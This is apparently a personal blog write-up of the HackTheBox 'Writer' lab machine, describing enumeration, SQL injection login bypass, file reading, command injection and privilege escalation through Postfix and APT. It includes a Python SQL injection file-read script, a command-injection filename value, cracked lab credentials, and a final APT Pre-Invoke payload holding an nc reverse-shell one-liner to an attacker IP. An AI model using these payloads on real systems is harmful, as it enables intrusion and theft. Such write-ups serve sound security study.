Post Image

HackTheBox – Writer

Hello everyone! I would like to present my writeup of HackTheBox Writer machine.

HackTheBox Writer is medium difficulty Linux box. I found this box very challenging and fun. It focuses mainly on enumeration and investigation of both source code and configuration files.

We have to start with finding administrative login panel. This login panel is vulnerable to sql injection that enable us to bypass authenciation and read files on the system. After proper enumeration of victim host local file system we’ll find that some part of the webpage is vulnerable to command injection which we can use to get foothold. Next thing to do is enumeration of django db where we’ll find crackable user hash. After cracking the hash, we will use newly obtained password for ssh login.

After enumeration of user attributes we’ll find out we have to control over Postfix mail filter and we can trigger it by sending an email. After editing this filter and sending email we get access to another user account. For the root part we have to create malicious apt configuration and the cronjob will do the rest.

Enumeration:

nmap scan:

PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 98:20:b9:d0:52:1f:4e:10:3a:4a:93:7e:50:bc:b8:7d (RSA)
| 256 10:04:79:7a:29:74:db:28:f9:ff:af:68:df:f1:3f:34 (ECDSA)
|_ 256 77:c4:86:9a:9f:33:4f:da:71:20:2c:e1:51:10:7e:8d (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Story Bank | Writer.HTB
139/tcp open netbios-ssn Samba smbd 4.6.2
445/tcp open netbios-ssn Samba smbd 4.6.2
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
| smb2-security-mode:
| 3.1.1:
|_ Message signing enabled but not required
| smb2-time:
| date: 2022-11-11T16:33:29
|_ start_date: N/A
|_nbstat: NetBIOS name: WRITER, NetBIOS user: , NetBIOS MAC: (unknown)

Port 80 – Apache

Site overview:

Send button doesn’t work

Findings

Server version: Apache 2.4.41 – wappalyzer
email: admin@writer.htb
domain: writer.htb
Added writer.htb to /etc/hosts

Gobuster scan:

===============================================================
[+] Url:                     http://writer.htb
[+] Method:                  GET
[+] Threads:                 100
[+] Wordlist:                /usr/share/wordlists/dirb/big.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.1.0
[+] Extensions:              php
[+] Timeout:                 10s
===============================================================
2022/11/11 17:44:35 Starting gobuster in directory enumeration mode
===============================================================
/about                (Status: 200) [Size: 3522]
/administrative       (Status: 200) [Size: 1443]
/contact              (Status: 200) [Size: 4905]
/dashboard            (Status: 302) [Size: 208] [--> http://writer.htb/]
/logout               (Status: 302) [Size: 208] [--> http://writer.htb/]
/server-status        (Status: 403) [Size: 275]                         
/static               (Status: 301) [Size: 309] [--> http://writer.htb/static/]

/administrative – sql inj. login bypass

This is vulnerable to sql injection login bypass

we can add story, upload file:

Let’s try to upload some random story with image:

Since this is apatche server we can try to upload some malicious php file:

When we intercept save request in burp we can see:

The only one filter for this upload is that the file must contains .php in the filename. But we cannot get RCE since all of uploaded files are rendered as images.

In the upload request can see there is variable image_url. When i put a link there to my netcat socket i got:

This means that’s python server – probably flask or django.

Since I didn’t know if there is a chance to exploit this upload capability I took few steps back and checked if administrative page is vulnerable to Union Sql injection.

Union Sql injection -> LFI

We can see that we always get HTTP 200 Reponse. When the SQL statement returns True we get „Welcome Admin” in the reponse page content.

I perfomed few trials of the union sql injection and I found out that original sql statement selects 6 values:

I used mysql LOAD_LIFE function to exploit LFI:

I created simple python script to simplify LFI:

import requests, sys
from bs4 import BeautifulSoup

file = sys.argv[1]

data = { "uname": f"admin\' union select null,LOAD_FILE(\"{file}\"),null,null,null,null-- -", "password": "asd" }

rtn = requests.post("http://writer.htb/administrative", data=data)

soup = BeautifulSoup(rtn.content, 'html.parser')
result = soup.find('h3', class_='animation-slide-top')

if(result.text[13:] == None):
    print('No such file')
else:
    print(result.text[13:])

At this moment I didn’t know anything about directories structure of victim machine. Firstly i checked apache configurtion files:

It led me to file writer.wsgi:

writer.wsgi led to me file __init__.py. Since this file had many line I decided to save it on my local host and inspect it with using sublime editor:

I found hardcoded password:

Password: ToughPasswordToCrack

This password doesnt work neither for kyle nor for john account. Let’s try SMB:

Anonymous login doesn’t provide any access to shares.

I found that i can access writer2_project share with credentials: john:ToughPasswordToCrack

I downloaded all the files and inspect them. The only interesting thing that I found was django SECRET_KEY:

I thought it requires deep investigation. Before doing that I watned to know if I didn’t omit anything in __init__.py file since it contains a lot of code.

Shell as www-data

Spending some of on investigation file __init__.py I found it’s vulnerable to command injection:

This part of code is related to previously mentioned variable image_url. After sending HTTP POST request with set image_url application gets the file and checks if there is .jpg in the image filename.Nextly it retrieves filename from url and changes filename by using os.system command. Where are in control of local_filename varbiable (which is image name). Let’s check how it works:

If I set local_filename to 'sth.jpg;ping 10.10.14.13 -c 2;’ this application should execute ping to my host:

It didn’t execute ping. To my mind it’s the problems with special characters. It came to my mind that there maybe possibility to upload local files using file URI:

Then I executed this request:

It works.

I created base64 encoded reverse shell payload. If we use such payloads in http it’s very important to create base64 payload without special characters which can be interpreted as url encoded data:

Shell as kyle

After getting foothold I run linpeas scan. Linpeas scan found database scredentials:

I logged in to mysql with those credentials and found password hash of kyle user:

I saved this hash and used hashcat to crack it:

We can use password : marcoantonio to login as kyle using ssh:

Quickly after we get user flag:

Shell as john:

I found that kyle belongs to groups smbgroup and filter. The latter group caught my attention. I decided to find out which files belongs to this group:

Firsly we have to know what postfix is:

https://book.hacktricks.xyz/network-services-pentesting/pentesting-smtp

When john user gets an mail this script will execute /etc/postfix/disclaimer which we are in control of:

I edited this script:

Let’s look at listening ports:

We can see that there is local port 25 listening which means we can send mail:

I tried to use sendmail but it didn’t work:

Let’s do this manually using netcat/telnet:

I have to admin that i had to use two ssh connections since there is cronjob/script that resets file /etc/postfix/disclaimer to it’s default value. I made changes to this file just before sending an email.
I found john user ssh private key and sent it to my local host:

I used john id_rsa ssh private key to login to machine.

Shell as root

We can see that john user belongs to apt group:

This means we can control apt.conf.d directory which contains debian (ubuntu) packet manager configuration.

As we see we cannot modify any file but we can remove or create file in that directory.
I found that there is cron job that executes apt-get update as root:

We can see there is a script that deletes files that have been modified within 24 hours -mtime 1 (1 day), then it executes apt-get update.
We have to change modification time of our file

I found great article related to exploiting apt:
https://www.hackingarticles.in/linux-for-pentester-apt-privilege-escalation/

We can just create malicious file with command apt::Update::Pre-Invoke {„cmd”} which will run our command before executing apt update/apt-get update.
Since we know that our file will be deleted if we don’t change file modification time, we need to change file modification time just after it’s creation.
I will use touch command. Example below:

our final apt config malicious payload look like this:

echo 'APT::Update::Pre-Invoke {"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.13 1401 >/tmp/f"};' > pwn;touch -c -t 202009211200 pwn

After two minutes I got connection:

svgHackTheBox - PivotAPI
svg
svgHackTheBox - Dynstr

Leave a reply